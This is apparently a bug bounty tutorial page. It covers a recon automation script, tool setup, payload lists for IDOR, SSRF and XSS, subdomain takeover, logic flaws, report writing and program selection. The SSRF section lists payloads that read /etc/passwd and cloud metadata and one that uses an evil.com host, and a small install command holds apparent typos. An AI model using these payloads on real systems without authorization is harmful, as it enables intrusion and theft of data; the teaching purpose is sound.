Bug Bounty Tips & Tricks
Proven strategies and techniques for successful bug bounty hunting. Master reconnaissance automation, identify high-impact vulnerabilities, and write compelling reports that maximize your earnings and impact.
Recon Automation & Toolkit
Complete Recon Pipeline
#!/bin/bash
# Automated bug bounty recon script
# Usage: ./recon.sh target.com
TARGET=$1
OUTPUT_DIR="${TARGET}_recon_$(date +%s)"
mkdir -p "$OUTPUT_DIR"
echo "[*] Starting recon on $TARGET"
# Step 1: Subdomain enumeration
echo "[*] Enumerating subdomains..."
subfinder -d $TARGET -o "$OUTPUT_DIR/subdomains.txt" 2>/dev/null
assetfinder --subs-only $TARGET >> "$OUTPUT_DIR/subdomains.txt" 2>/dev/null
sort -u "$OUTPUT_DIR/subdomains.txt" > "$OUTPUT_DIR/subdomains_final.txt"
# Step 2: Screenshot each subdomain
echo "[*] Taking screenshots..."
cat "$OUTPUT_DIR/subdomains_final.txt" | aquatone -out "$OUTPUT_DIR/aquatone"
# Step 3: Port scanning
echo "[*] Port scanning..."
cat "$OUTPUT_DIR/subdomains_final.txt" | naabu -rate 150 -output "$OUTPUT_DIR/ports.txt"
# Step 4: Service discovery
echo "[*] Probing services..."
cat "$OUTPUT_DIR/ports.txt" | httpx -o "$OUTPUT_DIR/alive.txt"
# Step 5: Directory brute force on live hosts
echo "[*] Fuzzing directories..."
cat "$OUTPUT_DIR/alive.txt" | while read url; do
ffuf -u "$url/FUZZ" -w /usr/share/wordlists/dirb/common.txt \
-o "$OUTPUT_DIR/$(echo $url | cut -d'/' -f3).json"
done
echo "[+] Recon complete! Results in: $OUTPUT_DIR"
Key Tools Setup
# Install essential tools
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/tomnomnom/assetfinder@latest
go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
go install -v github.com/ffuf/ffuf@latest
# Install with apt
sudo apt install -y burpsuite zaproxy sqlmap niknikto
# Screenshot tools
npm install -g aquatone
# Domain/subdomain tools
pip3 install dnsrecon dnsenum
High-Impact Vulnerabilities
IDOR (Insecure Direct Object Reference)
# Discovery technique
# 1. Find endpoints with user-specific data
/api/profile/123
/api/orders/456
/documents/789
# 2. Test with different IDs
# Change ID to sequential number
/api/profile/124
/api/profile/125
# 3. Try ID manipulation
/api/profile/124%00
/api/profile/124.json
/api/profile/124/
/api/profile/124%2e%2e%2f
# Advanced IDOR
# UUID-based endpoints
# Change single character: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
# Test with known UUIDs
# Hash-based endpoints
# Weak hashing: MD5(id)
# md5 -s "123" = 202cb962ac59075b964b07152d234b70
SSRF (Server-Side Request Forgery)
# Discovery
/api/fetch?url=http://example.com
/api/download?url=
/api/preview?src=
/proxy?url=
# Exploitation
# Local file access
?url=file:///etc/passwd
?url=file:///var/www/html/config.php
# Internal services
?url=http://localhost:8080/admin
?url=http://127.0.0.1:8080
?url=http://192.168.1.1/
?url=http://169.254.169.254/latest/meta-data/ # AWS
# URL encoding bypass
?url=http://127%2e0%2e0%2e1
?url=http://localhost//admin
?url=http://localhost:@evil.com@localhost/
# DNS rebinding
# Create attacker domain pointing to localhost
XSS (Cross-Site Scripting)
# Common injection points
# Search: /search?q=<script>alert('xss')</script>
# Comments: /post/123#comment=<img src=x onerror="alert('xss')">
# Usernames: /profile?name=<svg onload="alert('xss')">
# Payloads
<script>alert('XSS')</script>
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
<iframe src="javascript:alert('XSS')">
<body onload="alert('XSS')">
<input onfocus="alert('XSS')" autofocus>
# Context-aware payloads
# In HTML: <script>alert(1)</script>
# In JavaScript string: '</script><script>alert(1)</script>
# In attribute: " onclick="alert(1)
# Advanced XSS
# Unicode/UTF-8 bypasses
\u003cscript\u003ealert('XSS')\u003c/script\u003e
# HTML encoding
<script>alert('XSS')</script>
Subdomain Takeover
# Discovery
# Find subdomains pointing to services no longer in use
# Check CNAME records
# Identify vulnerable services
# Check if CNAME points to:
# - Heroku
# - GitHub Pages
# - Shopify
# - AWS CloudFront
# - etc.
# Verification
dig subdomain.target.com CNAME
nslookup subdomain.target.com
# Tools
subzy --targets subdomains.txt
subjack -w /path/to/subdomains.txt -t 100
# Common vulnerable CNAMEs
# *.herokuapp.com - verify ownership
# *.github.io - create repo with same name
# *.shopify.com - claim shop
# cloudfront - create distribution
Vulnerability Chaining & Logic Bugs
Authentication Bypass
# Password reset flaws
# - Weak token generation
# - Token reuse
# - Expired tokens still valid
# - Email-based with predictable patterns
# 2FA/MFA bypass
# - SMS interception
# - Backup code misuse
# - Race condition in validation
# - Null/empty bypass
# Session issues
# - Session fixation
# - Weak session tokens
# - Cookie theft
# - Concurrent session abuse
Business Logic Flaws
# Price manipulation
# Modify price in request/response
# Discount stacking
# Negative amount exploitation
# Race conditions
# Buy same limited item twice
# Process payment twice
# Exploit timing windows
# Workflow bypass
# Skip steps in multi-step process
# Reorder workflow steps
# Access unauthorized stages
# Example: E-commerce checkout
# 1. Add item to cart
# 2. Apply discount (100% off)
# 3. Complete purchase
# Test: Apply discount twice, negative quantity, etc.
Information Disclosure
# Source code leakage
# .git exposed
# .env files accessible
# Backup files (.bak, .old, .zip)
# API endpoint discovery
# /api/v1/* usually has more endpoints than v2
# Check swagger/openapi endpoints
# /api/*/docs, /api/*/schema
# Sensitive data in responses
# User IDs, internal IDs
# Error messages revealing structure
# Timing attacks (username enumeration)
# Detection
curl -s https://target.com/.git/config
curl -s https://target.com/.env
find . -name "*.bak" -o -name "*.old" -o -name "*.zip"
Effective Report Writing
Report Template Structure
# Bug Report: [Vulnerability Type]
## Summary
Brief description of the vulnerability and its impact
## Vulnerability Details
- Type: IDOR, SSRF, XSS, etc.
- Severity: Critical/High/Medium/Low
- CVSS Score: 8.5
- CWE: CWE-639 (Authorization Bypass)
## Description
Detailed explanation of the vulnerability:
- What the vulnerability is
- How it was discovered
- Why it's a vulnerability
- Technical details
## Proof of Concept
Step-by-step instructions to reproduce:
1. Login as user A
2. Navigate to /api/profile/123
3. Change ID to 124
4. Request is successful (should be denied)
Include:
- HTTP requests/responses
- Screenshots
- Videos (for complex vulnerabilities)
- Code snippets
## Impact Assessment
- **Confidentiality**: User data exposure
- **Integrity**: Unauthorized modifications
- **Availability**: Service disruption
- Business impact: "Attackers can access other users' sensitive documents"
## Affected Endpoints
- GET /api/profile/{id}
- GET /api/documents/{id}
- PUT /api/user/{id}/settings
## Remediation
Detailed fix recommendations:
1. Validate user has access to requested resource
2. Implement proper authorization checks
3. Use UUID instead of sequential IDs
4. Add access control lists
## Severity Justification
Why this is High/Critical:
- Easy to exploit
- No user interaction required
- Affects all users
- Sensitive data at risk
## Timeline
- Reported: 2025-03-15
- Acknowledged: 2025-03-16
- Fixed: 2025-03-20
- Verified: 2025-03-21
Report Writing Tips
# DO's
- Be clear and concise
- Include proof of concept
- Show business impact
- Provide actionable remediation
- Include severity justification
- Use professional language
# DON'Ts
- Be vague or unclear
- Include irrelevant information
- Make it overly technical
- Demand specific bounty amount
- Be threatening or demanding
- Submit before verifying the vulnerability
# Format tips
- Use markdown for clarity
- Include screenshots with annotations
- Provide video walkthrough for complex bugs
- Use proper spelling/grammar
- Organize logically
- Keep sensitive data out of examples
Staying Ahead of Competition
Program Selection Strategy
# Choose programs wisely
# High-paying programs
- Facebook: $500-$40,000+
- Google: $300-$15,600
- Microsoft: $500-$20,000
- Apple: $50-$200,000
# Less crowded programs
- Niche/vertical-specific companies
- Local/regional companies
- Newer programs with less competition
- Check hackerone.com for bounty statistics
# Program maturity indicators
- Time on platform
- Average bounty amount
- Response time
- Previous vulnerabilities
- Number of researchers
Efficiency Maximization
# Spend more time on reconnaissance
# 80/20 rule: 80% recon, 20% exploitation
# Most bugs are found in recon phase
# Focus on automation
# Create reusable scripts
# Batch process multiple targets
# Parallelize scanning
# Maintain notes/database
# Track which targets you've tested
# Note findings for each target
# Identify patterns
# Learn from writeups
# Read published bug reports
# Understand common patterns
# Study remediation techniques
# Time management
# Dedicate specific time to research
# Balance depth vs breadth
# Track ROI per target
# Know when to move on
Long-term Success
# Build reputation
# Document your findings
- Write detailed reports
- Include proof of concept videos
- Provide clear remediation guidance
# Engage with programs
- Communicate professionally
- Follow responsible disclosure
- Ask clarifying questions
- Provide updates during fix
# Diversify targets
- Don't rely on one program
- Balance easy wins with harder targets
- Try different vulnerability types
- Experiment with new techniques
# Continuous learning
- Stay updated on new vulnerabilities
- Learn new tools and techniques
- Study attacker methodologies
- Follow security conferences/blogs
Common Mistakes to Avoid
Reporting Mistakes
# ❌ Don't:
- Submit without verifying vulnerability
- Include sensitive data in reports
- Demand specific bounty amount
- Be disrespectful or threatening
- Report duplicate vulnerabilities
- Ignore scope limitations
# ✓ Do:
- Verify the vulnerability is real
- Redact sensitive information
- Provide clear proof of concept
- Be professional and courteous
- Check if already reported
- Follow program scope exactly
Discovery Mistakes
# ❌ Over-focusing on one target
# Solution: Diversify across programs
# ❌ Neglecting automation
# Solution: Build scripts for repetitive tasks
# ❌ Only testing obvious endpoints
# Solution: Deep dive into all functionality
# ❌ Giving up too quickly
# Solution: Spend sufficient time on each target
# ❌ Not reading past reports
# Solution: Study disclosed vulnerabilities
Technical Mistakes
# ❌ Not understanding the context
# Solution: Map entire application flow
# ❌ Testing in production directly
# Solution: Use staging/test environments
# ❌ Invalid proof of concept
# Solution: Ensure steps are reproducible
# ❌ Incomplete testing
# Solution: Test multiple scenarios/inputs
# ❌ Causing damage
# Solution: Be extra careful, never destroy data
Advanced Techniques
API Testing
# Find API endpoints
# Look for:
# - /api/
# - /v1/, /v2/
# - /rest/
# - GraphQL endpoints: /graphql
# Enumerate API
# Test GET, POST, PUT, DELETE, PATCH
# Test authentication
curl -H "Authorization: Bearer invalid_token" https://target.com/api/data
# Test with different API versions
# /api/v1/ might have fewer security checks
# API key discovery
# Check requests for patterns
# Headers: X-API-Key, Authorization
# Query params: ?api_key=
# Cookies
# Rate limiting bypass
# Rotate IP addresses
# Use sleep between requests
# Distribute across proxies
Parameter Pollution & Manipulation
# HTTP Parameter Pollution (HPP)
# Submit same parameter twice with different values
# ?id=1&id=2
# Server-side filter bypass
# ?filter[]=admin&filter[]=<script>
# Type juggling (PHP)
# "0" == "0e0" (both evaluate to 0)
# Use to bypass string comparisons
# Array truncation
# ?id[]=1 (becomes array instead of string)
# Null byte injection (older systems)
# ?file=config.php%00.jpg
# Case sensitivity bypass
# /Admin vs /admin
# /Upload.php vs /upload.PHP
Advanced Recon Tricks
# Wayback machine
# https://archive.org/web/
# Find old endpoints, outdated tech
# Certificate transparency logs
# Find subdomains from SSL certificates
# https://crt.sh/?q=target.com
# GitHub dorks
# site:github.com "target.com" password
# site:github.com "target.com" api_key
# Google dorking
# site:target.com filetype:pdf
# site:target.com inurl:admin
# site:target.com intext:password
# Shodan
# http.status:200 org:"Target Inc"
# Find all exposed services
# DNS data mining
# Reverse DNS lookups
# MX records can reveal infrastructure
# SPF/DKIM records
Bug Bounty Programs & Platforms
Major Programs
# HackerOne
# https://hackerone.com
# Average bounty: $300-$5,000
# Top programs: Dropbox, GitHub, Yahoo, Slack
# Bugcrowd
# https://bugcrowd.com
# Average bounty: $200-$3,000
# Top programs: Yahoo, Microsoft, Google
# Intigriti
# https://intigriti.com
# European-focused
# Average bounty: €200-€3,000
# YesWeHack
# https://yeswehack.com
# European platform
# Strong in France, Germany
# Synack
# https://synack.com
# Invitation-only
# Structured testing programs
# Program comparison
# Size of community
# Bounty ranges
# Average payout time
# Response time
# Type of vulnerabilities
Pro Tips for Program Selection
# Green programs (new to platform)
- Less competition
- Programs eager for feedback
- Often faster response times
# Programs with higher bounties
- Check disclosed reports
- Research company size/sector
- Tech companies generally pay more
- Finance/healthcare competitive
# Look for:
- Quick response times
- Professional communication
- Reasonable scope
- Clear guidelines
- History of paying
- Active community
Professional Development
Build Your Brand
# Start a blog
- Document your findings
- Share vulnerability analysis
- Publish write-ups
- Attracts attention from programs
# Twitter/Social Media
- Share tips and tricks
- Engage with security community
- Showcase findings (after disclosure)
- Network with other researchers
# GitHub
- Publish tools and scripts
- Share automation scripts
- Document methodologies
- Build portfolio
# Speaking & Teaching
- Security conferences
- Webinars
- Training courses
- Community talks
Income Streams
# Bug Bounties
- Primary income for many
# Consulting
- Sell services to companies
- Penetration testing
- Security assessments
# Training
- Udemy/Coursera courses
- Bootcamp instruction
- Workshop facilitation
# Tools & Services
- Security tools
- SaaS services
- Automation platforms
# Content
- YouTube channel
- Blog sponsorships
- Technical writing
Real-World Example: Finding IDOR
Scenario
Target: E-commerce application
Steps
# 1. Reconnaissance
# Identify API endpoints
# Look for user-specific data: /api/orders, /api/profile, /api/invoices
# 2. Request Analysis
curl -H "Authorization: Bearer token" https://target.com/api/orders/12345
# Response includes order details for user A
# 3. Test IDOR
curl -H "Authorization: Bearer token" https://target.com/api/orders/12346
# Should fail for user A but doesn't - IDOR found!
# 4. Verify Impact
# Access multiple other users' orders
# Document findings
# Test different API versions (/v2, /v3)
# 5. Proof of Concept
# Write reproducible steps:
# 1. Login as User A
# 2. Get token
# 3. Request /api/orders/123 (accessible)
# 4. Request /api/orders/124 (should be denied, but accessible)
# 5. Request /api/orders/9999 (random user ID - accessible)
# 6. Report
# Severity: High (access to all user data)
# Impact: Potential breach of PII
# Fix: Verify user owns resource before returning data
Expected Bounty
- Severity: High
- Impact: Moderate to High
- Typical Range: $500-$3,000
- Depends on program and sensitivity of data
Key Principles
Responsible Disclosure
- Never exploit vulnerabilities beyond proof of concept
- Don’t damage systems or data
- Don’t access more data than necessary
- Respect confidentiality
- Follow program guidelines
- Disclose timeframes
Communication
- Be professional and respectful
- Ask clarifying questions
- Respond promptly to program questions
- Follow up on progress
- Accept feedback gracefully
- Maintain confidentiality
Continuous Improvement
- Track your findings
- Analyze patterns
- Measure ROI per target
- Refine your techniques
- Learn from failures
- Share knowledge (responsibly)
Resources
Learning Platforms
Communities
Tools
Last updated: 2025-03-30